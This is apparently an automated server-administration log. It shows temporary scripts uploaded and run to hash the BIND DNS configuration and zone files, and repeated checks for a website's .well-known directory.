MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 18:23:27: Establishing a connection
2026-04-28 18:23:27: 

PUT: /tmp/pkp945332

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 18:23:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp945332; rm /tmp/pkp945332'

2026-04-28 18:23:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 18:23:37: Establishing a connection
2026-04-28 18:23:37: Establishing a connection
2026-04-28 18:23:37: 

PUT: /tmp/pkp587791

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 18:23:37: 

chmod 755 /tmp/pkp587791; /tmp/pkp587791; rm /tmp/pkp587791

2026-04-28 18:23:37: 


0


2026-04-28 18:25:36: Establishing a connection
2026-04-28 18:25:36: Establishing a connection
2026-04-28 18:25:36: 

PUT: /tmp/pkp136678

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 18:25:36: 

chmod 755 /tmp/pkp136678; /tmp/pkp136678; rm /tmp/pkp136678

2026-04-28 18:25:36: 


0


2026-04-28 18:27:02: Establishing a connection
2026-04-28 18:27:02: Establishing a connection
2026-04-28 18:27:02: 

PUT: /tmp/pkp472642

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 18:27:03: 

chmod 755 /tmp/pkp472642; /tmp/pkp472642; rm /tmp/pkp472642

2026-04-28 18:27:03: 


0


2026-04-28 19:01:56: Establishing a connection
2026-04-28 19:01:56: Establishing a connection
2026-04-28 19:01:56: 

PUT: /tmp/pkp195792

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-28 19:01:57: 

chmod 755 /tmp/pkp195792; /tmp/pkp195792; rm /tmp/pkp195792

2026-04-28 19:01:57: 


0


2026-04-28 19:54:41: Establishing a connection
2026-04-28 19:54:41: Establishing a connection
2026-04-28 19:54:41: 

PUT: /tmp/pkp929393

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


